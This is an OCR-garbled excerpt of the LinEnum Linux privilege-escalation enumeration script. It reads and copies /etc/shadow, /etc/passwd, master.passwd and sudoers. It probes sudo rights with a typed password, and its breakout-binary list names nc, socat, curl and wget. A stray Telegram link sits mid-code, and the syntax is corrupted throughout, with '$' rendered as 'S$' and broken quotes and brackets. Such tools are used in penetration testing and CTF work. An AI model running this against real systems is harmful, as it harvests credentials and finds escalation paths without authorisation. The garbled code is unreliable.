echo —e "\e[00; 31lm#####H##FHHHHHHHHFHHHFHHHAHHHAFHHAFHHAHFHHASHHFFHFHFFFHFFE e [OOmM"
echo -e "\e[00;33m# www.rebootuser.com\e[00m"

echo -e "\e[00;33m# Sversion\e[00m\n"

}

debug info ()
{

echo "[-] Debug Info"
if [ "$keyword" ]; then
echo "[+] Searching for the keyword $keyword in conf, php, ini and log files"
else
fi
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if [ "Sreport" ]; then

echo "[+] Report name = $report"
else
fi
if [ "S$export" ]; then

echo "[+] Export location = S$export"
else
fi
if [ "S$thorough" ]; then

echo "[+] Thorough tests = Enabled"
else

echo -e "\e[00;33m[+] Thorough tests = Disabled (SUID/GUID checks will not be
perfomed!)\e[00m"

fi
sleep 2
if [ "S$Sexport" ]1; then

mkdir S$Sexport 2>/dev/null
format=$export/LinEnum-export-"date +"%$d-%m-%Sy""
mkdir $format 2>/dev/null

else

fi

if [ "S$sudopass" ]; then

echo -e "\e[00;35m[+] Please enter password - INSECURE - really only for CTF
use!\e[00m"

read -s userpassword

echo
else

fi

who="whoami" 2>/dev/null
echo -e "\n"

echo -e "\e[00;33mScan started at:"; date
echo -e "\e[00m\n"

}

# useful binaries (thanks to https://gtfobins.github.io/)

binarylist="'nmap\ |perl\ |awk\|find\ |bash\|sh\ |man\ |more\|less\|vi\|emacs\ |vim\ |nc\ |netca
t\ |python\ | ruby\|lua\|irb\|tar\|zip\|gdb\|pico\|scp\|lgit\|rvim\|script\|ash\|csh\|curl\
|dash\ |ed\ |env\ |expect\ | ftp\|sftp\|node\ |php\ | rpm\ | rpmquery\ |socat\ |strace\|taskset\|tc
1sh\|telnet\|tftp\|wget\|wish\|zsh\|ssh'

system_info ()
{
echo -e "\e[00;33m### SYSTEM #H#######4444444444HFFFHHHHHSS44444444FFF###### e [00m"

#basic kernel info
unameinfo="uname —-a 2>/dev/null’
if [ "S$Sunameinfo" ]; then
echo -e "\e[00;31m[-] Kernel information:\e[00m\n$Sunameinfo"
echo -e "\n"
else
fi
procver='cat /proc/version 2>/dev/null’
if [ "S$procver" ]1; then
echo -e "\e[00;31m[-] Kernel information (continued) :\e[00m\nS$Sprocver"

echo -e "\n"
else
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fi

#search all *-release files for version info

release="cat /etc/*-release 2>/dev/null’

if [ "S$release" ]1; then
echo -e "\e[00;31m[-] Specific release information:\e[00m\nS$release"
echo -e "\n"

else

fi

#target hostname info

hostnamed="hostname 2>/dev/null’

if [ "Shostnamed" ]; then
echo -e "\e[00;31m[-] Hostname:\e[00m\nShostnamed"
echo -e "\n"

else

fi
}

user_info ()
{
echo -e "\e[00;33m### USER/GROUP ############H##4H#H44HHH4HHHHHHSHHHHS#H##E e [O0Om"

#current user details

currusr="id 2>/dev/null’

if [ "Scurrusr" ]; then
echo -e "\e[00;31m[-] Current user/group info:\e[00m\n$currusr"
echo -e "\n"

else

fi

#last logged on user information
lastlogedonusrs="lastlog 2>/dev/null |grep -v "Never" 2>/dev/null’
if [ "S$lastlogedonusrs" ]1; then

echo -e "\e[00;31m[-] Users that have previously logged onto the
system:\e[00m\n$lastlogedonusrs"

echo -e "\n"
else

fi

#who else is logged on

loggedonusrs="w 2>/dev/null’

if [ "$loggedonusrs" ]; then
echo -e "\e[00;31m[-] Who else is logged on:\e[00m\n$loggedonusrs"
echo -e "\n"

else

fi

#lists all id's and respective group (s)
grpinfo="for i in $(cut -d":" -fl /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null’
if [ "$grpinfo" ]; then
echo -e "\e[00;31m[-] Group memberships:\e[00m\nSgrpinfo"
echo -e "\n"
else

fi

#added by phackt - look for adm group (thanks patrick)
adm users=$ (echo -e "S$grpinfo" | grep " (adm)")
if [[ ! -z Sadm users ]];
then
echo -e "\e[00;31Im[-] It looks like we have some admin users:\e[00m\n$adm users"
echo -e "\n"
else
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fi

#checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage

method)
hashesinpasswd="grep -v '~[":]*:[x]' /etc/passwd 2>/dev/null’
if [ "Shashesinpasswd" ]; then

echo -e "\e[00;33m[+] It looks like we have password hashes in
/etc/passwd!\e[00m\n$hashesinpasswd"

echo -e "\n"
else

fi

#contents of /etc/passwd

readpasswd="cat /etc/passwd 2>/dev/null’

if [ "S$readpasswd" ]; then
echo -e "\e[00;31m[-] Contents of /etc/passwd:\e[00m\n$readpasswd"
echo -e "\n"

else

fi

if [ "Sexport" ] && [ "S$Sreadpasswd" ]; then

mkdir S$format/etc-export/ 2>/dev/null

cp /etc/passwd $format/etc-export/passwd 2>/dev/null
else

fi

#checks to see if the shadow file can be read

readshadow="cat /etc/shadow 2>/dev/null’

if [ "$Sreadshadow" ]; then
echo -e "\e[00;33m[+] We can read the shadow file!\e[00m\n$readshadow"
echo -e "\n"

else

fi
if [ "S$export" 1 && [ "Sreadshadow" ]; then

mkdir S$format/etc-export/ 2>/dev/null
cp /etc/shadow $format/etc-export/shadow 2>/dev/null

else

fi

#checks to see if /etc/master.passwd can be read - BSD 'shadow' wvariant
readmasterpasswd="cat /etc/master.passwd 2>/dev/null’

if [ "$readmasterpasswd" ]; then

echo -e "\e[00;33m[+] We can read the master.passwd file!\e[0Om\n$readmasterpasswd"
echo -e "\n"
else

fi

if [ "S$Sexport" 1 && [ "$readmasterpasswd" ]; then

mkdir S$format/etc-export/ 2>/dev/null

cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null
else
fi

#all root accounts (uid 0)

superman="grep -v -E ""#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}'
2>/dev/null”
if [ "$superman" ]; then

echo -e "\e[00;31m[-] Super user account(s):\e[00m\n$Ssuperman"
echo -e "\n"
else

fi

https://t.me/learningnets



#pull out vital sudoers info
sudoers="grep -v -e '"$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null’
if [ "$sudoers" ]; then
echo -e "\e[00;31m[-] Sudoers configuration (condensed) :\e[00mSsudoers"
echo -e "\n"
else

fi

if [ "S$Sexport" ] && [ "S$sudoers"™ ]; then

mkdir S$format/etc-export/ 2>/dev/null

cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null
else

fi

#can we sudo without supplying a password

sudoperms="echo '' | sudo -S -1 -k 2>/dev/null’

if [ "S$sudoperms" ]; then
echo -e "\e[00;33m[+] We can sudo without supplying a password!\e[00m\n$sudoperms"
echo -e "\n"

else
fi
#check sudo perms - authenticated
if [ "S$sudopass" ]; then
if [ "S$sudoperms" ]; then
else
sudoauth="echo $userpassword | sudo -S -1 -k 2>/dev/null’
if [ "$sudoauth" ]; then
echo -e "\e[00;33m[+] We can sudo when supplying a password!\e[00m\n$sudoauth"
echo -e "\n"
else
fi
fi
else
fi

##known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated
values) - authenticated

if [ "$sudopass"™ ]; then
if [ "$sudoperms" ]; then
else
sudopermscheck="echo S$Suserpassword | sudo -S -1 -k 2>/dev/null | xargs -n 1
2>/dev/null|sed 's/,*$//g' 2>/dev/null | grep -w S$binarylist 2>/dev/null’
if [ "$sudopermscheck" ]; then

echo -e "\e[00;33m[-] Possible sudo pwnage!\e[00m\n$sudopermscheck"
echo -e "\n"
else

#known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated
values)

sudopwnage="echo '' | sudo -S -1 -k 2>/dev/null | xargs -n 1 2>/dev/null | sed
's/,*$//g'" 2>/dev/null | grep -w S$binarylist 2>/dev/null’
if [ "S$sudopwnage" ]; then

echo -e "\e[00;33m[+] Possible sudo pwnage!\e[00m\n$sudopwnage"
echo -e "\n"
else

fi
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#who has sudoed in the past

whohasbeensudo="find /home -name .sudo_as_admin_successful 2>/dev/null’

if [ "S$whohasbeensudo" 1; then
echo -e "\e[00;31m[-] Accounts that have recently used sudo:\e[00m\n$Swhohasbeensudo"
echo -e "\n"

else

fi

#checks to see if roots home directory is accessible

rthmdir="1s -ahl /root/ 2>/dev/null’

if [ "S$rthmdir" 1; then
echo -e "\e[00;33m[+] We can read root's home directory!\e[00m\n$rthmdir"
echo -e "\n"

else

fi

#displays /home directory permissions - check if any are lax

homedirperms="1s -ahl /home/ 2>/dev/null’

if [ "Shomedirperms" ]; then
echo -e "\e[00;31m[-] Are permissions on /home directories lax:\e[00m\n$homedirperms"
echo -e "\n"

else

fi

#looks for files we can write to that don't belong to us

if [ "$thorough"™ = "1" 1; then

grfilesall="find / -writable ! -user \ 'whoami\' -type £ ! -path "/proc/*" ! -path
"/sys/*" -—-exec 1ls -al {} \; 2>/dev/null’

if [ "$grfilesall™ ]; then

echo -e "\e[00;31lm[-] Files not owned by user but writable by
group:\e[00m\n$grfilesall"
echo -e "\n"
else

fi
fi

#looks for files that belong to us
if [ "$thorough" = "1" ]; then
ourfilesall="find / -user \